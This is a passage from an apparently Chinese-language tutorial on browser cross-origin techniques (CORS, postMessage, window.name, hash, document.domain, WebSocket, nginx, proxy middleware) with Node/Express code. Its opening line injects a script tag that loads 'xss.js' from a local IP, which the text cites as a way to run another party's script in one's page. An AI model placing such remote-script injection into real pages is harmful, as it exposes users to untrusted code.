let script = document.createElement("script"); document.body.removeChild(script); document.body.appendChild(script);script.src = "http://192.168.0.57:8080/xss.js";
會把別人的腳本引入到自己的頁面中執行,如:彈窗、廣告等,甚至更危險的腳本程序。
二、使用 CORS 跨域
跨源資源共享/CORS(Cross-Origin Resource Sharing)是 W3C 的一個工作草案,定義了在必須訪問跨源資源時,瀏覽器與服務器應該如何溝通。CORS 背後的基本思想,就是使用自定義的 HTTP 頭部讓瀏覽器與服務器進行溝通,從而決定請求或響應是應該成功,還是應該失敗。
使用場景:多用於開發時,前端與後臺在不同的 ip 地址下進行數據訪問。
現在啟動兩個端口號不同的服務器,創建跨域條件,服務器(NodeJS)代碼如下:
// 服務器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);
// 服務器2
const express = require("express");
let app = express();
app.get("/getDate", function(req, res) {
res.end("I love you");
});
app.use(express.static(__dirname));
app.listen(4000);
由於我們的 NodeJS 服務器使用 express 框架,在我們的項目根目錄下的命令行中輸入下面代碼進行安裝:
npm install express --save
通過訪問 http://localhost:3000/index.html 獲取 index.html 文件並執行其中的 Ajax 請求 http://localhost:4000/getDate 接口去獲取數據,index.html 文件內容如下:
CORS 跨域
上面 index.html 代碼中發送請求訪問不在同源的服務器 2,此時會在控制檯給出錯誤信息,告訴我們缺少了哪些響應頭,我們對應報錯信息去修改訪問的服務器 2 的代碼,添加對應的響應頭,實現 CORS 跨域。
// 服務器2
const express = require("express");
let app = express();
// 允許訪問域的白名單
let whiteList = ["http://localhost:3000"];
app.use(function(req, res, next) {
let origin = req.header.origin;
if (whiteList.includes(origin)) {
// 設置那個源可以訪問我,參數為 * 時,允許任何人訪問,但是不可以和 cookie 憑證的響應頭共同使用
res.setHeader("Access-Control-Allow-Origin", origin);
// 想要獲取 ajax 的頭信息,需設置響應頭
res.setHeader("Access-Control-Allow-Headers", "name");
// 處理複雜請求的頭
res.setHeader("Access-Control-Allow-Methods", "PUT");
// 允許發送 cookie 憑證的響應頭
res.setHeader("Access-Control-Allow-Credentials", true);
// 允許前端獲取哪個頭信息
res.setHeader("Access-Control-Expose-Headers", "name");
// 處理 OPTIONS 預檢的存活時間,單位 s
res.setHeader("Access-Control-Max-Age", 5);
// 發送 PUT 請求會做一個試探性的請求 OPTIONS,其實是請求了兩次,當接收的請求為 OPTIONS 時不做任何處理
if (req.method === "OPTIONS") {
res.end();
}
}
next();
});
app.put("/getDate", function(req, res) {
// res.setHeader('name', 'nihao'); // 設置自定義響應頭信息
res.end("I love you");
});
app.get("/getDate", function(req, res) {
res.end("I love you");
});
app.use(express.static(__dirname));
app.listen(4000);
三、使用 postMessage 實現跨域
postMessage 是 H5 的新 API,跨文檔消息傳送(cross-document messaging),有時候簡稱為 XMD,指的是在來自不同域的頁面間傳遞消息。
調用方式:window.postMessage(message, targetOrigin)
- message:發送的數據
- targetOrigin:發送的窗口的域
在對應的頁面中用 message 事件接收,事件對象中有 data、origin、source 三個重要信息
- data:接收到的數據
- origin:接收到數據源的域(數據來自哪個域)
- source:接收到數據源的窗口對象(數據來自哪個窗口對象)
使用場景:不是使用 Ajax 的數據通信,更多是在兩個頁面之間的通信,在 A 頁面中引入 B 頁面,在 A、B 兩個頁面之間通信。
與上面 CORS 類似,我們要創建跨域場景,搭建兩個端口號不同的 Nodejs 服務器,後面相同方式就不多贅述了。
// 服務器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);
// 服務器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);
通過訪問 http://localhost:3000/a.html,在 a.html 中使用 iframe 標籤引入 http://localhost:4000/b.html,在兩個窗口間傳遞數據。
頁面 A
頁面 B
四、使用 window.name 實現跨域
同樣是頁面之間的通信,需要藉助 iframe 標籤,A 頁面和 B 頁面是同域的 http://localhost:3000,C 頁面在獨立的域 http://localhost:4000。
// 服務器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);
// 服務器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);
實現思路:在 A 頁面中將 iframe 的 src 指向 C 頁面,在 C 頁面中將屬性值存入 window.name 中,再把 iframe 的 src 換成同域的 B 頁面,在當前的 iframe 的 window 對象中取出 name 的值,訪問 http://localhost:3000/a.html。
頁面 A
頁面 C
五、使用 location.hash 實現跨域
與 window.name 跨域的情況相同,是不同域的頁面間的參數傳遞,需要藉助 iframe 標籤,A 頁面和 B 頁面是同域的 http://localhost:3000,C 頁面是獨立的域 http://localhost:4000。
// 服務器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);
// 服務器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);
實現思路:A 頁面通過 iframe 引入 C 頁面,並給 C 頁面傳一個 hash 值,C 頁面收到 hash 值後創建 iframe 引入 B 頁面,把 hash 值傳給 B 頁面,B 頁面將自己的 hash 值放在 A 頁面的 hash 值中,訪問 http://localhost:3000/a.html。
頁面 A
頁面 C
頁面 B
六、使用 document.domain 實現跨域
使用場景:不是萬能的跨域方式,大多使用於同一公司不同產品間獲取數據,必須是一級域名和二級域名的關係,如 www.baidu.com 與 video.baidu.com 之間。
const express = require("express");
let app = express();
app.use(express.static(__dirname));
app.listen(3000);
想要模擬使用 document.domain 跨域的場景需要做些小小的準備,到 C:WindowsSystem32driversetc 該路徑下找到 hosts 文件,在最下面創建一個一級域名和一個二級域名。
127.0.0.1 www.domainacross.com
127.0.0.1 sub.domainacross.com
命名是隨意的,只要是符合一級域名與 二級域名的關係即可,然後訪問 http://www.domainacross.com:3000/a.html。
頁面 A
我是頁面 A 的內容
頁面 B
我是 B 頁面的內容
七、使用 WebSocket 實現跨域
WebSocket 沒有跨域限制,高級 API(不兼容),想要兼容低版本瀏覽器,可以使用 socket.io 的庫,WebSocket 與 HTTP 內部都是基於 TCP 協議,區別在於 HTTP 是單向的(單雙工),WebSocket 是雙向的(全雙工),協議是 ws:// 和 wss:// 對應 http:// 和 https://,因為沒有跨域限制,所以使用 file:// 協議也可以進行通信。
由於我們在 NodeJS 服務中使用了 WebSocket,所以需要安裝對應的依賴:
npm install ws --save
頁面
const express = require("express");
let app = express();
// 引入 webSocket
const WebSocket = require("ws");
// 創建連接,端口號與前端相對應
let wss = new WebSocket.Server({ port: 3000 });
// 監聽連接
wss.on("connection", function(ws) {
// 監聽消息
ws.on("message", function(data) {
// 打印消息
console.log(data); // I love you
// 發送消息
ws.send("I love you, too");
});
});
八、使用 nginx 實現跨域
nginx 本身就是一個服務器,因此我們需要去 nginx 官網下載服務環境 http://nginx.org/en/download....。
- 下載後解壓到一個文件夾中
- 雙擊 nginx.exe 啟動(此時可以通過 http://localhost 訪問 nginx 服務)
- 在目錄新建 json 文件夾
- 進入 json 文件夾新建 data.json 文件並寫入內容
- 回到 nginx 根目錄進入 conf 文件夾
- 使用編輯器打開 nginx.conf 進行配置
data.json 文件:
{
"name": "nginx"
}
nginx.conf 文件:
server {
.
.
.
location ~.*\.json {
root json;
add_header "Access-Control-Allow-Origin" "*";
}
.
.
.
}
含義:
- ~.*\.json:代表忽略大小寫,後綴名為 json 的文件;
- root json:代表 json 文件夾;
- add_header:代表加入跨域的響應頭及允許訪問的域,* 為允許任何訪問。
在 nginx 根目錄啟動 cmd 命令行(windows 系統必須使用 cmd 命令行)執行下面代碼重啟 nginx。
nginx -s reload
不跨域訪問:http://localhost/data.json
跨域訪問時需要創建跨域條件代碼如下:
// 服務器
const express = require("express");
let app = express();
app.use(express.static(__dirname));
app.listen(3000);
跨域訪問:http://localhost:3000/index.html
nginx跨域
九、使用 http-proxy-middleware 實現跨域
NodeJS 中間件 http-proxy-middleware 實現跨域代理,原理大致與 nginx 相同,都是通過啟一個代理服務器,實現數據的轉發,也可以通過設置 cookieDomainRewrite 參數修改響應頭中 cookie 中的域名,實現當前域的 cookie 寫入,方便接口登錄認證。
1、非 vue 框架的跨域(2 次跨域)
proxy 跨域
中間代理服務中使用了 http-proxy-middleware 中間件,因此需要提前下載:
npm install http-proxy-middleware --save-dev
// 中間代理服務器
const express = require("express");
let proxy = require("http-proxy-middleware");
let app = express();
app.use(
"/",
proxy({
// 代理跨域目標接口
target: "http://www.proxy2.com:8080",
changeOrigin: true,
// 修改響應頭信息,實現跨域並允許帶 cookie
onProxyRes: function(proxyRes, req, res) {
res.header("Access-Control-Allow-Origin", "http://www.proxy1.com");
res.header("Access-Control-Allow-Credentials", "true");
},
// 修改響應信息中的 cookie 域名
cookieDomainRewrite: "www.proxy1.com" // 可以為 false,表示不修改
})
);
app.listen(3000);
// 服務器
const http = require("http");
const qs = require("querystring");
const server = http.createServer();
server.on("request", function(req, res) {
let params = qs.parse(req.url.substring(2));
// 向前臺寫 cookie
res.writeHead(200, {
"Set-Cookie": "l=a123456;Path=/;Domain=www.proxy2.com;HttpOnly" // HttpOnly:腳本無法讀取
});
res.write(JSON.stringify(params));
res.end();
});
server.listen("8080");
2、vue 框架的跨域(1 次跨域)
利用 node + webpack + webpack-dev-server 代理接口跨域。在開發環境下,由於 Vue 渲染服務和接口代理服務都是 webpack-dev-server,所以頁面與代理接口之間不再跨域,無須設置 Headers 跨域信息了。
// 導出服務器配置
module.exports = {
entry: {},
module: {},
...
devServer: {
historyApiFallback: true,
proxy: [{
context: '/login',
target: 'http://www.proxy2.com:8080', // 代理跨域目標接口
changeOrigin: true,
secure: false, // 當代理某些 https 服務報錯時用
cookieDomainRewrite: 'www.domain1.com' // 可以為 false,表示不修改
}],
noInfo: true
}
}
本篇文章在於幫助我們理解跨域,以及不同跨域方式的基本原理,在公司的項目比較多,多個域使用同一個服務器或者數據,以及在開發環境時,跨域的情況基本無法避免,一般會有各種各樣形式的跨域解決方案,但其根本原理基本都在上面的跨域方式當中方式,我們可以根據開發場景不同,選擇最合適的跨域解決方案。
閱讀更多 前端攻城小牛 的文章